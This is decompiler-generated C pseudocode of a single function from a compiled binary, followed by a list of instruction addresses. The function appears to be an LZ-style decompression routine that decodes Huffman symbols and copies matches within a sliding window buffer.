				signed int _t509;
				signed int _t510;
				signed int _t515;
				intOrPtr _t517;
				void* _t521;
				signed int _t522;
				void* _t526;
				signed int _t527;
				signed int _t530;
				signed int _t531;
				signed int _t532;
				signed int _t537;
				void* _t539;
				intOrPtr* _t540;
				signed int _t541;
				intOrPtr* _t543;
				intOrPtr* _t544;
				void* _t547;
				signed int _t548;
				intOrPtr* _t551;
				signed int _t554;
				signed int _t555;
				signed int _t558;
				unsigned int _t559;
				void* _t561;
				signed int _t562;
				signed int _t565;
				intOrPtr* _t568;
				signed int _t569;
				signed int _t570;
				intOrPtr* _t571;
				signed int _t574;
				signed int _t576;
				unsigned int _t578;
				void* _t580;
				signed int _t583;
				signed int _t585;
				unsigned int _t587;
				void* _t589;
				signed int _t593;
				char* _t604;
				signed int _t605;
				void* _t608;
				void* _t612;
				signed int _t615;
				signed int _t618;
				unsigned int _t624;
				signed int _t625;
				unsigned int _t627;
				signed int _t633;
				unsigned int _t635;
				void* _t637;
				signed int _t640;
				signed int _t642;
				unsigned int _t648;
				signed int _t649;
				void* _t651;
				signed int _t656;
				unsigned int _t658;
				void* _t660;
				void* _t662;
				signed int _t665;
				void* _t668;
				void* _t670;
				signed int _t673;
				void* _t676;
				void* _t683;
				signed int _t686;
				signed int _t695;
				signed int _t696;
				signed int _t697;
				signed int _t713;
				signed int _t733;
				signed int _t736;
				signed int _t750;
				intOrPtr* _t753;
				intOrPtr* _t758;
				void* _t760;
				void* _t761;
				void* _t767;

				_t760 = __ecx;
				 *((char*)(__ecx + 0x4c58)) = 1;
				if( *((char*)(__ecx + 0x4c48)) != 0) {
					L4:
					_t758 = _t760 + 4;
					while(1) {
						 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
						if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
							goto L15;
						} else {
							_t540 = _t760 + 0x80;
						}
						while(1) {
							L7:
							_t767 =  *_t758 -  *_t540 +  *((intOrPtr*)(_t760 + 0x88)) - 1;
							if(_t767 <= 0 && (_t767 != 0 ||  *((intOrPtr*)(_t760 + 8)) <  *((intOrPtr*)(_t760 + 0x84)))) {
								break;
							}
							if( *((char*)(_t760 + 0x90)) != 0) {
								L104:
								return E00415346(_t760);
							}
							_push(_t540);
							_push(_t758);
							_t517 = E0041450F(_t540, _t760);
							if(_t517 == 0) {
								L105:
								return _t517;
							} else {
								_t521 = E0041462B(_t540, _t760, _t758, _t540, _t760 + 0x94);
								if(_t521 != 0) {
									continue;
								} else {
									return _t521;
								}
							}
						}
						_t522 = E004123EB(_t540, _t760);
						__eflags = _t522;
						if(_t522 == 0) {
							goto L104;
						}
						L15:
						_t398 =  *((intOrPtr*)(_t760 + 0x4b30));
						_t574 =  *(_t760 + 0x70);
						__eflags = (_t398 - _t574 &  *(_t760 + 0xe6dc)) - 0x1004;
						if((_t398 - _t574 &  *(_t760 + 0xe6dc)) >= 0x1004) {
							L21:
							_t399 = E0040978C(_t758);
							_t527 =  *(_t760 + 0x118);
							_t400 = _t399 & 0x0000fffe;
							__eflags = _t400 -  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4));
							if(_t400 >=  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4))) {
								_t695 = 0xf;
								_t576 = _t527 + 1;
								__eflags = _t576 - _t695;
								if(_t576 >= _t695) {
									L29:
									_t578 =  *(_t758 + 4) + _t695;
									 *(_t758 + 4) = _t578 & 0x00000007;
									 *_t758 =  *_t758 + (_t578 >> 3);
									_t580 = 0x10;
									_t403 = (_t400 -  *((intOrPtr*)(_t760 + 0x94 + _t695 * 4)) >> _t580 - _t695) +  *((intOrPtr*)(_t760 + 0xd8 + _t695 * 4));
									__eflags = _t403 -  *((intOrPtr*)(_t760 + 0x94));
									if(_t403 >=  *((intOrPtr*)(_t760 + 0x94))) {
										_t403 = 0;
										__eflags = 0;
									}
									_t530 =  *(_t760 + 0xd1c + _t403 * 2) & 0x0000ffff;
									goto L32;
								} else {
									_t571 = _t760 + 0x98 + _t576 * 4;
									while(1) {
										__eflags = _t400 -  *_t571;
										if(_t400 <  *_t571) {
											_t695 = _t576;
											goto L29;
										}
										_t576 = _t576 + 1;
										_t571 = _t571 + 4;
										__eflags = _t576 - 0xf;
										if(_t576 < 0xf) {
											continue;
										} else {
											goto L29;
										}
									}
									goto L29;
								}
							} else {
								_t683 = 0x10;
								_t515 = _t400 >> _t683 - _t527;
								_t686 = ( *(_t515 + _t760 + 0x11c) & 0x000000ff) +  *(_t758 + 4);
								 *_t758 =  *_t758 + (_t686 >> 3);
								 *(_t758 + 4) = _t686 & 0x00000007;
								_t530 =  *(_t760 + 0x51c + _t515 * 2) & 0x0000ffff;
								L32:
								__eflags = _t530 - 0x100;
								if(_t530 >= 0x100) {
									__eflags = _t530 - 0x106;
									if(_t530 < 0x106) {
										__eflags = _t530 - 0x100;
										if(_t530 != 0x100) {
											__eflags = _t530 - 0x101;
											if(_t530 != 0x101) {
												_t531 = _t530 + 0xfffffefe;
												__eflags = _t531;
												_t405 = _t760 + 0x54 + _t531 * 4;
												_v16 =  *_t405;
												_t583 = _t531;
												if(_t531 == 0) {
													L127:
													 *((intOrPtr*)(_t760 + 0x54)) = _v16;
													_t407 = E0040978C(_t758);
													_t532 =  *(_t760 + 0x2ddc);
													_t408 = _t407 & 0x0000fffe;
													__eflags = _t408 -  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4));
													if(_t408 >=  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4))) {
														_t696 = 0xf;
														_t585 = _t532 + 1;
														__eflags = _t585 - _t696;
														if(_t585 >= _t696) {
															L135:
															_t587 =  *(_t758 + 4) + _t696;
															 *(_t758 + 4) = _t587 & 0x00000007;
															 *_t758 =  *_t758 + (_t587 >> 3);
															_t589 = 0x10;
															_t411 = (_t408 -  *((intOrPtr*)(_t760 + 0x2d58 + _t696 * 4)) >> _t589 - _t696) +  *((intOrPtr*)(_t760 + 0x2d9c + _t696 * 4));
															__eflags = _t411 -  *((intOrPtr*)(_t760 + 0x2d58));
															if(_t411 >=  *((intOrPtr*)(_t760 + 0x2d58))) {
																_t411 = 0;
																__eflags = 0;
															}
															_t412 =  *(_t760 + 0x39e0 + _t411 * 2) & 0x0000ffff;
															L138:
															__eflags = _t412 - 8;
															if(_t412 >= 8) {
																_t537 = (_t412 >> 2) - 1;
																_v12 = ((_t412 & 0x00000003 | 0x00000004) << _t537) + 2;
																__eflags = _t537;
																if(_t537 > 0) {
																	_t438 = E0040978C(_t758);
																	_t608 = 0x10;
																	_v12 = _v12 + (_t438 >> _t608 - _t537);
																	_t441 =  *(_t758 + 4) + _t537;
																	 *_t758 =  *_t758 + (_t441 >> 3);
																	_t442 = _t441 & 0x00000007;
																	__eflags = _t442;
																	 *(_t758 + 4) = _t442;
																}
															} else {
																_v12 = _t412 + 2;
															}
															__eflags =  *((char*)(_t760 + 0x4c38));
															 *(_t760 + 0x68) = _v12;
															if( *((char*)(_t760 + 0x4c38)) == 0) {
																_a4 = _v12;
																_t420 = _t760 + 0x70;
																_t697 =  *_t420;
																_t593 = _t697 - _v16;
																_t539 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																_v8 = _t593;
																__eflags = _t593 - _t539;
																if(_t593 >= _t539) {
																	goto L162;
																}
																__eflags = _t697 - _t539;
																if(_t697 >= _t539) {
																	goto L162;
																}
																_t421 =  *((intOrPtr*)(_t760 + 0x4b34));
																_t543 = _t421 + _t593;
																_v8 = _t421 + _t697;
																_t423 = _v12;
																 *(_t760 + 0x70) = _t423 + _t697;
																__eflags = _v16 - _t423;
																if(_v16 >= _t423) {
																	__eflags = _t423 - 8;
																	if(_t423 < 8) {
																		L154:
																		__eflags = _a4;
																		if(_a4 > 0) {
																			__eflags = _a4 - 1;
																			_t604 = _v8;
																			 *_t604 =  *_t543;
																			if(_a4 > 1) {
																				__eflags = _a4 - 2;
																				 *((char*)(_t604 + 1)) =  *((intOrPtr*)(_t543 + 1));
																				if(_a4 > 2) {
																					__eflags = _a4 - 3;
																					 *((char*)(_t604 + 2)) =  *((intOrPtr*)(_t543 + 2));
																					if(_a4 > 3) {
																						__eflags = _a4 - 4;
																						 *((char*)(_t604 + 3)) =  *((intOrPtr*)(_t543 + 3));
																						if(_a4 > 4) {
																							__eflags = _a4 - 5;
																							 *((char*)(_t604 + 4)) =  *((intOrPtr*)(_t543 + 4));
																							if(_a4 > 5) {
																								__eflags = _a4 - 6;
																								 *((char*)(_t604 + 5)) =  *((intOrPtr*)(_t543 + 5));
																								if(_a4 > 6) {
																									 *((char*)(_t604 + 6)) =  *((intOrPtr*)(_t543 + 6));
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																		continue;
																	}
																	_t432 = _v12 >> 3;
																	__eflags = _t432;
																	_v16 = _t432;
																	do {
																		E0041C290(_t543, _t758, _t760, _v8, _t543, 8);
																		_v8 = _v8 + 8;
																		_a4 = _a4 - 8;
																		_t761 = _t761 + 0xc;
																		_t543 = _t543 + 8;
																		_t362 =  &_v16;
																		 *_t362 = _v16 - 1;
																		__eflags =  *_t362;
																	} while ( *_t362 != 0);
																	goto L154;
																}
																__eflags = _t423 - 8;
																if(_t423 < 8) {
																	goto L154;
																}
																_t434 = _t423 >> 3;
																__eflags = _t434;
																_t605 = _t434;
																_t435 = _v8;
																do {
																	_a4 = _a4 - 8;
																	 *_t435 =  *_t543;
																	 *((char*)(_t435 + 1)) =  *((intOrPtr*)(_t543 + 1));
																	 *((char*)(_t435 + 2)) =  *((intOrPtr*)(_t543 + 2));
																	 *((char*)(_t435 + 3)) =  *((intOrPtr*)(_t543 + 3));
																	 *((char*)(_t435 + 4)) =  *((intOrPtr*)(_t543 + 4));
																	 *((char*)(_t435 + 5)) =  *((intOrPtr*)(_t543 + 5));
																	 *((char*)(_t435 + 6)) =  *((intOrPtr*)(_t543 + 6));
																	 *((char*)(_t435 + 7)) =  *((intOrPtr*)(_t543 + 7));
																	_t543 = _t543 + 8;
																	_t435 = _t435 + 8;
																	_t605 = _t605 - 1;
																	__eflags = _t605;
																} while (_t605 != 0);
																_v8 = _t435;
																goto L154;
															} else {
																_push( *(_t760 + 0xe6dc));
																_push(_t760 + 0x70);
																_push(_v16);
																_push(_v12);
																goto L77;
															}
														}
														_t544 = _t760 + 0x2d5c + _t585 * 4;
														while(1) {
															__eflags = _t408 -  *_t544;
															if(_t408 <  *_t544) {
																break;
															}
															_t585 = _t585 + 1;
															_t544 = _t544 + 4;
															__eflags = _t585 - 0xf;
															if(_t585 < 0xf) {
																continue;
															}
															goto L135;
														}
														_t696 = _t585;
														goto L135;
													}
													_t612 = 0x10;
													_t444 = _t408 >> _t612 - _t532;
													_t615 = ( *(_t444 + _t760 + 0x2de0) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t615 >> 3);
													 *(_t758 + 4) = _t615 & 0x00000007;
													_t412 =  *(_t760 + 0x31e0 + _t444 * 2) & 0x0000ffff;
													goto L138;
												} else {
													goto L126;
												}
												do {
													L126:
													 *_t405 =  *((intOrPtr*)(_t405 - 4));
													_t583 = _t583 - 1;
													_t405 = _t405 - 4;
													__eflags = _t583;
												} while (_t583 > 0);
												goto L127;
											}
											goto L107;
										}
										_push( &_v32);
										_t453 = E00414290(_t760, _t758);
										__eflags = _t453;
										if(_t453 == 0) {
											goto L104;
										}
										goto L103;
									} else {
										_t457 = _t530 - 0x106;
										__eflags = _t457 - 8;
										if(_t457 >= 8) {
											_t554 = (_t457 >> 2) - 1;
											_v16 = ((_t457 & 0x00000003 | 0x00000004) << _t554) + 2;
											__eflags = _t554;
											if(_t554 > 0) {
												_t506 = E0040978C(_t758);
												_t676 = 0x10;
												_v16 = _v16 + (_t506 >> _t676 - _t554);
												_t509 =  *(_t758 + 4) + _t554;
												 *_t758 =  *_t758 + (_t509 >> 3);
												_t510 = _t509 & 0x00000007;
												__eflags = _t510;
												 *(_t758 + 4) = _t510;
											}
										} else {
											_v16 = _t457 + 2;
										}
										_a4 = _v16;
										_t464 = E0040978C(_t758);
										_t733 =  *(_t760 + 0x1004);
										_t465 = _t464 & 0x0000fffe;
										__eflags = _t465 -  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4));
										if(_t465 >=  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4))) {
											_t555 = 0xf;
											_t633 = _t733 + 1;
											__eflags = _t633 - _t555;
											if(_t633 >= _t555) {
												L49:
												_t635 =  *(_t758 + 4) + _t555;
												 *(_t758 + 4) = _t635 & 0x00000007;
												 *_t758 =  *_t758 + (_t635 >> 3);
												_t637 = 0x10;
												_t468 = (_t465 -  *((intOrPtr*)(_t760 + 0xf80 + _t555 * 4)) >> _t637 - _t555) +  *((intOrPtr*)(_t760 + 0xfc4 + _t555 * 4));
												__eflags = _t468 -  *((intOrPtr*)(_t760 + 0xf80));
												if(_t468 >=  *((intOrPtr*)(_t760 + 0xf80))) {
													_t468 = 0;
													__eflags = 0;
												}
												_t469 =  *(_t760 + 0x1c08 + _t468 * 2) & 0x0000ffff;
												goto L52;
											} else {
												_t753 = _t760 + 0xf84 + _t633 * 4;
												while(1) {
													__eflags = _t465 -  *_t753;
													if(_t465 <  *_t753) {
														_t555 = _t633;
														goto L49;
													}
													_t633 = _t633 + 1;
													_t753 = _t753 + 4;
													__eflags = _t633 - 0xf;
													if(_t633 < 0xf) {
														continue;
													} else {
														goto L49;
													}
												}
												goto L49;
											}
										} else {
											_t670 = 0x10;
											_t505 = _t465 >> _t670 - _t733;
											_t673 = ( *(_t505 + _t760 + 0x1008) & 0x000000ff) +  *(_t758 + 4);
											 *_t758 =  *_t758 + (_t673 >> 3);
											 *(_t758 + 4) = _t673 & 0x00000007;
											_t469 =  *(_t760 + 0x1408 + _t505 * 2) & 0x0000ffff;
											L52:
											__eflags = _t469 - 4;
											if(_t469 >= 4) {
												_t558 = (_t469 >> 1) - 1;
												_v12 = ((_t469 & 0x00000001 | 0x00000002) << _t558) + 1;
												__eflags = _t558;
												if(_t558 <= 0) {
													L71:
													_t559 = _v12;
													__eflags = _t559 - 0x100;
													if(_t559 > 0x100) {
														_a4 = _v16 + 1;
														__eflags = _t559 - 0x2000;
														if(_t559 > 0x2000) {
															_a4 = _a4 + 1;
															__eflags = _t559 - 0x40000;
															if(_t559 > 0x40000) {
																_t147 =  &_a4;
																 *_t147 = _a4 + 1;
																__eflags =  *_t147;
															}
														}
													}
													__eflags =  *((char*)(_t760 + 0x4c38));
													_t640 = _a4;
													 *((intOrPtr*)(_t760 + 0x60)) =  *((intOrPtr*)(_t760 + 0x5c));
													 *((intOrPtr*)(_t760 + 0x5c)) =  *((intOrPtr*)(_t760 + 0x58));
													 *((intOrPtr*)(_t760 + 0x58)) =  *((intOrPtr*)(_t760 + 0x54));
													 *((intOrPtr*)(_t760 + 0x54)) = _t559;
													 *(_t760 + 0x68) = _t640;
													_t477 = _t760 + 0x70;
													if( *((char*)(_t760 + 0x4c38)) == 0) {
														_t736 =  *_t477;
														_v8 = _t640;
														_t642 = _t736 - _t559;
														_t561 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
														_v16 = _t642;
														__eflags = _t642 - _t561;
														if(_t642 >= _t561) {
															L97:
															__eflags = _a4;
															if(_a4 <= 0) {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
															}
															L98:
															_t562 =  *(_t760 + 0xe6dc);
															do {
																_v8 = _v8 - 1;
																 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t477)) =  *((intOrPtr*)((_t642 & _t562) +  *((intOrPtr*)(_t760 + 0x4b34))));
																_t562 =  *(_t760 + 0xe6dc);
																_t642 = _v16 + 1;
																__eflags = _v8;
																_v16 = _t642;
																 *_t477 =  *_t477 + 0x00000001 & _t562;
															} while (_v8 > 0);
															continue;
															do {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
																goto L97;
															} while (_a4 <= 0);
															goto L98;
														}
														__eflags = _t736 - _t561;
														if(_t736 >= _t561) {
															goto L97;
														}
														_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t642;
														_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t736;
														_t648 = _a4;
														 *_t477 = _t736 + _t648;
														__eflags = _v12 - _t648;
														if(_v12 >= _t648) {
															__eflags = _t648 - 8;
															if(_t648 < 8) {
																L88:
																_t625 = _v8;
																L89:
																__eflags = _t625;
																if(_t625 > 0) {
																	_t447 = _v16;
																	 *_t447 =  *_t551;
																	__eflags = _t625 - 1;
																	if(_t625 > 1) {
																		 *((char*)(_t447 + 1)) =  *((intOrPtr*)(_t551 + 1));
																		__eflags = _t625 - 2;
																		if(_t625 > 2) {
																			 *((char*)(_t447 + 2)) =  *((intOrPtr*)(_t551 + 2));
																			__eflags = _t625 - 3;
																			if(_t625 > 3) {
																				 *((char*)(_t447 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				__eflags = _t625 - 4;
																				if(_t625 > 4) {
																					 *((char*)(_t447 + 4)) =  *((intOrPtr*)(_t551 + 4));
																					__eflags = _t625 - 5;
																					if(_t625 > 5) {
																						 *((char*)(_t447 + 5)) =  *((intOrPtr*)(_t551 + 5));
																						__eflags = _t625 - 6;
																						if(_t625 > 6) {
																							 *((char*)(_t447 + 6)) =  *((intOrPtr*)(_t551 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																}
																continue;
																do {
																	while(1) {
																		 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																		if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																			goto L15;
																		} else {
																			_t540 = _t760 + 0x80;
																		}
																		goto L7;
																	}
																	L162:
																	__eflags = _v12;
																} while (_v12 <= 0);
																_t541 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t420)) =  *((intOrPtr*)((_t593 & _t541) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t541 =  *(_t760 + 0xe6dc);
																	_t593 = _v8 + 1;
																	__eflags = _a4;
																	_v8 = _t593;
																	 *_t420 =  *_t420 + 0x00000001 & _t541;
																} while (_a4 > 0);
																continue;
																do {
																	do {
																		do {
																			goto L7;
																			L107:
																			_t445 =  *(_t760 + 0x68);
																			__eflags = _t445;
																		} while (_t445 == 0);
																		__eflags =  *((char*)(_t760 + 0x4c38));
																		if( *((char*)(_t760 + 0x4c38)) == 0) {
																			_a4 = _t445;
																			_t446 = _t760 + 0x70;
																			_t713 =  *_t446;
																			_t618 = _t713 -  *((intOrPtr*)(_t760 + 0x54));
																			_t547 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																			_v16 = _t618;
																			__eflags = _t618 - _t547;
																			if(_t618 >= _t547) {
																				goto L121;
																			}
																			__eflags = _t713 - _t547;
																			if(_t713 >= _t547) {
																				goto L121;
																			}
																			_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t618;
																			_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t713;
																			_t624 = _a4;
																			 *_t446 = _t713 + _t624;
																			__eflags =  *((intOrPtr*)(_t760 + 0x54)) - _t624;
																			if( *((intOrPtr*)(_t760 + 0x54)) >= _t624) {
																				__eflags = _t624 - 8;
																				if(_t624 < 8) {
																					L120:
																					_t625 = _a4;
																					goto L89;
																				}
																				_t449 = _t624 >> 3;
																				__eflags = _t449;
																				_v12 = _t449;
																				do {
																					E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																					_v16 = _v16 + 8;
																					_a4 = _a4 - 8;
																					_t761 = _t761 + 0xc;
																					_t551 = _t551 + 8;
																					_t263 =  &_v12;
																					 *_t263 = _v12 - 1;
																					__eflags =  *_t263;
																				} while ( *_t263 != 0);
																				goto L120;
																			}
																			__eflags = _t624 - 8;
																			if(_t624 < 8) {
																				goto L120;
																			}
																			_t451 = _v16;
																			_t627 = _t624 >> 3;
																			__eflags = _t627;
																			do {
																				_a4 = _a4 - 8;
																				 *_t451 =  *_t551;
																				 *((char*)(_t451 + 1)) =  *((intOrPtr*)(_t551 + 1));
																				 *((char*)(_t451 + 2)) =  *((intOrPtr*)(_t551 + 2));
																				 *((char*)(_t451 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				 *((char*)(_t451 + 4)) =  *((intOrPtr*)(_t551 + 4));
																				 *((char*)(_t451 + 5)) =  *((intOrPtr*)(_t551 + 5));
																				 *((char*)(_t451 + 6)) =  *((intOrPtr*)(_t551 + 6));
																				 *((char*)(_t451 + 7)) =  *((intOrPtr*)(_t551 + 7));
																				_t551 = _t551 + 8;
																				_t451 = _t451 + 8;
																				_t627 = _t627 - 1;
																				__eflags = _t627;
																			} while (_t627 != 0);
																			_v16 = _t451;
																			goto L120;
																		}
																		_push( *(_t760 + 0xe6dc));
																		_push(_t760 + 0x70);
																		_push( *((intOrPtr*)(_t760 + 0x54)));
																		_push(_t445);
																		goto L77;
																		L103:
																		_t456 = E00415771(_t760,  &_v32);
																		__eflags = _t456;
																	} while (_t456 != 0);
																	goto L104;
																	L121:
																	__eflags = _a4;
																} while (_a4 <= 0);
																_t548 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t446)) =  *((intOrPtr*)((_t618 & _t548) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t548 =  *(_t760 + 0xe6dc);
																	_t618 = _v16 + 1;
																	__eflags = _a4;
																	_v16 = _t618;
																	 *_t446 =  *_t446 + 0x00000001 & _t548;
																} while (_a4 > 0);
																 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																	goto L15;
																} else {
																	_t540 = _t760 + 0x80;
																}
															}
															_t479 = _a4 >> 3;
															__eflags = _t479;
															_a4 = _t479;
															do {
																E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																_v16 = _v16 + 8;
																_v8 = _v8 - 8;
																_t761 = _t761 + 0xc;
																_t551 = _t551 + 8;
																_t195 =  &_a4;
																 *_t195 = _a4 - 1;
																__eflags =  *_t195;
															} while ( *_t195 != 0);
															goto L88;
														}
														__eflags = _t648 - 8;
														if(_t648 < 8) {
															goto L88;
														}
														_t482 = _t648 >> 3;
														__eflags = _t482;
														_t649 = _t482;
														_t483 = _v16;
														do {
															_v8 = _v8 - 8;
															 *_t483 =  *_t551;
															 *((char*)(_t483 + 1)) =  *((intOrPtr*)(_t551 + 1));
															 *((char*)(_t483 + 2)) =  *((intOrPtr*)(_t551 + 2));
															 *((char*)(_t483 + 3)) =  *((intOrPtr*)(_t551 + 3));
															 *((char*)(_t483 + 4)) =  *((intOrPtr*)(_t551 + 4));
															 *((char*)(_t483 + 5)) =  *((intOrPtr*)(_t551 + 5));
															 *((char*)(_t483 + 6)) =  *((intOrPtr*)(_t551 + 6));
															 *((char*)(_t483 + 7)) =  *((intOrPtr*)(_t551 + 7));
															_t551 = _t551 + 8;
															_t483 = _t483 + 8;
															_t649 = _t649 - 1;
															__eflags = _t649;
														} while (_t649 != 0);
														_v16 = _t483;
														goto L88;
													} else {
														_push( *(_t760 + 0xe6dc));
														_push(_t477);
														_push(_t559);
														_push(_t640);
														L77:
														E0041264A();
														while(1) {
															 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
															if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																goto L15;
															} else {
																_t540 = _t760 + 0x80;
															}
															goto L7;
														}
													}
												}
												__eflags = _t558 - 4;
												if(__eflags < 0) {
													_t486 = E00412AEB(_t758);
													_t651 = 0x20;
													_v12 = _v12 + (_t486 >> _t651 - _t558);
													_t489 =  *(_t758 + 4) + _t558;
													 *_t758 =  *_t758 + (_t489 >> 3);
													_t490 = _t489 & 0x00000007;
													__eflags = _t490;
													 *(_t758 + 4) = _t490;
													goto L71;
												}
												if(__eflags > 0) {
													_t498 = E00412AEB(_t758);
													_t668 = 0x24;
													_v12 = _v12 + (_t498 >> _t668 - _t558 << 4);
													_t569 =  *(_t758 + 4) + _t558 - 4;
													 *_t758 =  *_t758 + (_t569 >> 3);
													_t570 = _t569 & 0x00000007;
													__eflags = _t570;
													 *(_t758 + 4) = _t570;
												}
												_t491 = E0040978C(_t758);
												_t565 =  *(_t760 + 0x1ef0);
												_t492 = _t491 & 0x0000fffe;
												__eflags = _t492 -  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4));
												if(_t492 >=  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4))) {
													_t750 = 0xf;
													_t656 = _t565 + 1;
													__eflags = _t656 - _t750;
													if(_t656 >= _t750) {
														L66:
														_t658 =  *(_t758 + 4) + _t750;
														 *(_t758 + 4) = _t658 & 0x00000007;
														 *_t758 =  *_t758 + (_t658 >> 3);
														_t660 = 0x10;
														_t495 = (_t492 -  *((intOrPtr*)(_t760 + 0x1e6c + _t750 * 4)) >> _t660 - _t750) +  *((intOrPtr*)(_t760 + 0x1eb0 + _t750 * 4));
														__eflags = _t495 -  *((intOrPtr*)(_t760 + 0x1e6c));
														if(_t495 >=  *((intOrPtr*)(_t760 + 0x1e6c))) {
															_t495 = 0;
															__eflags = 0;
														}
														_t496 =  *(_t760 + 0x2af4 + _t495 * 2) & 0x0000ffff;
														goto L69;
													}
													_t568 = _t760 + 0x1e70 + _t656 * 4;
													while(1) {
														__eflags = _t492 -  *_t568;
														if(_t492 <  *_t568) {
															break;
														}
														_t656 = _t656 + 1;
														_t568 = _t568 + 4;
														__eflags = _t656 - 0xf;
														if(_t656 < 0xf) {
															continue;
														}
														goto L66;
													}
													_t750 = _t656;
													goto L66;
												} else {
													_t662 = 0x10;
													_t497 = _t492 >> _t662 - _t565;
													_t665 = ( *(_t497 + _t760 + 0x1ef4) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t665 >> 3);
													 *(_t758 + 4) = _t665 & 0x00000007;
													_t496 =  *(_t760 + 0x22f4 + _t497 * 2) & 0x0000ffff;
													L69:
													_v12 = _v12 + _t496;
													goto L71;
												}
											}
											_v12 = _t469 + 1;
											goto L71;
										}
									}
								} else {
									__eflags =  *((char*)(_t760 + 0x4c38));
									if( *((char*)(_t760 + 0x4c38)) == 0) {
										 *( *((intOrPtr*)(_t760 + 0x4b34)) +  *(_t760 + 0x70)) = _t530;
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
									} else {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
										 *(E00412612(_t760 + 0x4b38,  *(_t760 + 0x70))) = _t530;
									}
									while(1) {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
										if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
											goto L15;
										} else {
											_t540 = _t760 + 0x80;
										}
										goto L7;
									}
								}
							}
						}
						__eflags = _t398 - _t574;
						if(_t398 == _t574) {
							goto L21;
						}
						E00415346(_t760);
						_t517 =  *((intOrPtr*)(_t760 + 0x4c54));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c44));
						if(__eflags > 0) {
							goto L105;
						}
						if(__eflags < 0) {
							L20:
							__eflags =  *((char*)(_t760 + 0x4c48));
							if( *((char*)(_t760 + 0x4c48)) != 0) {
								 *((char*)(_t760 + 0x4c58)) = 0;
								return _t517;
							}
							goto L21;
						}
						_t517 =  *((intOrPtr*)(_t760 + 0x4c50));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c40));
						if(_t517 >  *((intOrPtr*)(_t760 + 0x4c40))) {
							goto L105;
						}
						goto L20;
					}
				}
				E004157DB(__ecx, _a4);
				_t517 = E004123EB(_t526, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t759 = _t760 + 0x80;
				_push(_t760 + 0x80);
				_t572 = _t760 + 4;
				_push(_t760 + 4);
				_t517 = E0041450F(_t760 + 4, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t517 = E0041462B(_t572, _t760, _t572, _t759, _t760 + 0x94);
				if(_t517 == 0) {
					goto L105;
				}
				goto L4;
			}

0x00416c47
0x00416c51
0x00416c58
0x00416ca3
0x00416ca3
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cbc
0x00416cbc
0x00416cca
0x00416ccc
0x00000000
0x00000000
0x00416ce2
0x00417282
0x00000000
0x00417284
0x00416ce8
0x00416ce9
0x00416cec
0x00416cf3
0x0041728d
0x0041728d
0x00416cf9
0x00416d04
0x00416d0b
0x00000000
0x00000000
0x00000000
0x00000000
0x00416d0b
0x00416cf3
0x00416d14
0x00416d19
0x00416d1b
0x00000000
0x00000000
0x00416d21
0x00416d21
0x00416d27
0x00416d34
0x00416d3a
0x00416d7a
0x00416d7c
0x00416d81
0x00416d87
0x00416d8c
0x00416d93
0x00416dc0
0x00416dc1
0x00416dc4
0x00416dc6
0x00416de0
0x00416de3
0x00416dea
0x00416df0
0x00416dfb
0x00416e00
0x00416e07
0x00416e0d
0x00416e0f
0x00416e0f
0x00416e0f
0x00416e11
0x00000000
0x00416dc8
